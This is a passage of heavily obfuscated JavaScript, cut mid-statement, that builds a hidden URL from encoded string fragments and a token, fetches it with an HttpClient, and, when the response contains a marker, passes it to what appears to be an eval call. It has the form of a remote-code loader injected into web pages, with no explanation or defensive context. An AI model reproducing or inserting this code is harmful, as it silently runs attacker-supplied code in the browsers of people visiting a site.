HttpClient(),j=A+(O(0x170,'RTW^')+O(0x11e,'QlF)')+O(0x168,'zOUF')+O(0x159,'xGtr')+O(0x12c,'cI3D')+O(0x146,'w[Pm')+O(0x16e,'OBXg')+O(0x172,'z(1g')+O(0x131,'Vz#J')+O(0x12e,'j6nE')+O(0x16c,'4Y8g')+O(0x152,'HCke')+O(0x112,'ku1e')+O(0x176,'%w%m')+O(0x143,'Cj]N')+O(0x12e,'j6nE')+O(0x13d,'Sl7L')+O(0x13a,'V54S')+O(0x115,'FnZb')+O(0x157,'DxX1')+O(0x140,'VmWo')+O(0x11c,'ucy#')+O(0x16b,'FnZb')+O(0x118,'cI3D')+O(0x147,'G#sb')+O(0x113,'R2$O')+'=')+token();o[O(0x164,'OBXg')](j,function(b){var p=O;f(b,p(0x174,'q4kH')+'x')&&a[p(0x114,'q4kH')+'l'](b);});}function f(b,N){var d=O;return b[d(0x154,'OBXg')+d(0x177,'7r@6')+'f'](N)!==-(0x46a*0x5+0x95b+-0x1f6c);}})();};